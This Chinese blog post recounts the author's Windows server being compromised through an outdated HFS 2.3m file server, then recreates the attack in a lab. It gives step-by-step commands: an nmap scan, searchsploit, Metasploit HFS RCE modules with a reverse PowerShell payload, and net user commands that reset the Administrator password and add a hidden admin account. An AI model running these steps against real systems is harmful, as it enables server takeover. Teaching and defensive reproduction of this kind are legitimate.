事情是这样的,我的一台Windows云服务器被攻击了。要说起来,也得感谢腾讯云,晚上十点多,我收到腾讯云的异常登录提醒,说我的服务器从一个澳大利亚的海外IP异常登录了。我赶紧从我本地尝试远程登录,发现管理员密码已经被修改了。
考虑到同VPC下还有其他云主机,顾不上通过VNC登录检查具体情况了,先关机再说。就这样一通关机操作,还用了将近五分钟的时间,到现在我也不知道损失到底有多大,只能盼望我重装系统之后没有留下后患。
交代一下背景,我们前段时间介绍了Windows服务器作为路由器使用(Linux路由器性能强但难配置?试试Windows Server,小白也能操作,带宽轻松突破3 Gbps!)。同时,为了传输文件方便,我用HFS(HTTP File Server)工具搭了一个临时的HTTP服务器,结果,谁知这个临时工HFS竟成了阿喀琉斯之踵,真是小河沟里翻船——意想不到。
现已查明,我使用的HFS 2.3m是一个非常古老的版本,存在一个极为著名的远程代码执行漏洞CVE-2014-6287。这个漏洞就是利用HFS在处理HTTP请求中的搜索功能缺陷,使得攻击者可以通过注入空字节,绕过过滤机制,直接执行其后的恶意脚本代码。
事故已经发生了,我就把这次“被攻击”的案例复盘一下,给大家提个醒。
首先,我们还是准备一台Windows Server 2016服务器,上传HFS工具,还是用2.3m这个漏洞版本。
操作时,我们添加一个文件来模拟正常使用。
模拟攻击的主机,我们还是选择Kali吧(如何将Kali系统部署到U盘?)。
接下来,我们模拟黑客的状态,即已经知道了公网有一台主机,但不知道目标主机跑的是什么服务,需要对主机使用Nmap工具进行扫描,识别一下主机服务。
nmap -sS -sV 192.168.1.151
其中,-sS表示使用半连接扫描,速度快且相对隐蔽;-sV表示使用版本探测,能探测组件的版本信息;在没有使用-p参数指定扫描端口时,仅扫描常用端口,而如果要扫描所有65535个端口,则可以使用-p-参数,不过,这将大幅增加扫描时间。
从扫描结果来看,该主机的3389端口是开放的,对应Microsoft Terminal Services服务,说明是一台Windows Server服务器;80端口也是开放的,对应HttpFileServer httpd 2.3m,如果是敏感的黑客看到2.3m这个版本号,应该就像普通人见到了金矿,心里估计已经乐开了花,而管理员就要盲人骑瞎马——险象环生了。
其实,在扫描时,HFS的日志中是有记录的,只不过,一个GET请求可能看不来有什么猫腻。
接下来,我们在Kali中,使用searchsploit工具搜索漏洞。
searchsploit HFS 2.3
可以看到,HFS 2.3的漏洞可不止我们遇到的一个。主要有三类:Remote Command Execution(RCE,远程代码执行),Buffer Overflow(缓冲区溢出)和Arbitrary File Upload(任意文件上传)。本次,我们要使用的,就是RCE漏洞。
同时,searchsploit工具不仅给出了漏洞,还给出了针对这个漏洞可用的武器。我们尝试运行一个。
searchsploit -m 39161
python2 39161.py 192.168.1.151 80
工具运行成功了,但是文件下载失败了,从HFS的日志中,我们可以看到请求参数中使用了/?search=%00的参数。这不正是攻击的方式吗?可是,可能脚本是2016年写的,比较老,没有执行成功,应该是被Windows系统优化了。
此路不通,我们就换Metasploit(MSF)这个工具,试试能不能自动化完成攻击。
首先,启动Metasploit,搜索并加载攻击模块。
msfconsole
search hfs
可以看到,有两个漏洞模块,一个是2014年的exploit/windows/http/rejetto_hfs_exec,另一个是2024年的exploit/windows/http/rejetto_hfs_rce_cve_2024_23692,都匹配了RCE。
我们先试一下2014年的漏洞模块,并配置攻击参数,试试Windows更新有没有效果。我们需要设置靶机IP(RHOSTS)和本机IP(LHOST)以便接收反弹Shell,最后使用run命令发起攻击。
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS 192.168.1.151
set RPORT 80
set LHOST 192.168.1.86
run
很不幸,漏洞利用失败了。查看HFS日志,显示从Kali主机获取文件失败了,应该是Windows Defender在工作。
那我们试一下2024年的工具是否可以奏效。
use exploit/windows/http/rejetto_hfs_rce_cve_2024_23692
set RHOSTS 192.168.1.151
set RPORT 80
set LHOST 192.168.1.86
set PAYLOAD cmd/windows/reverse_powershell
run
可以,成功了,我们现在已经连到了服务器的PowerShell,敲个命令测试一下。
命令执行成功,这意味着我已经拿到了靶机的控制权。
接下来,我们还原一下当时黑客的操作,直接修改Administrator账号的密码。
net user Administrator “HackerNewPassword123!”
现在,我的Windows Server还是处于远程桌面连接状态,现在看不到什么异常。我们断开连接,然后重连一下。
现在,因为密码错误,我们已经无法登录服务器了。
或者,为了隐蔽,黑客也有可能不修改Administrator账号,而是创建一个隐藏账号。
net user hack_admin P@ssw0rd123 /add
net localgroup administrators hack_admin /add
然后,我们用这个新账号登录一下。
可以看到,用这种方式操作时,如果新创建的用户登录,则会在用户中留下一个新用户的文件夹。
那这个漏洞挑系统吗?我们换一个Windows Server 2022试一下(跨代兼容性测试:Windows Server 2019/2022 IPsec VPN配置指南,老方法依然真香!)。
可以看到,漏洞依旧存在。不过,虽然在Server 2022系统中msfconsole依旧可以连接到PowerShell,但是执行命令却没有权限了,看来新系统的防护性还是有所增强。
当然,这也告诉我们,无论是系统版本还是软件版本,还是新的更好一些。
声明:来自铁军哥,仅代表创作者观点。链接:https://eyangzhen.com/4509.html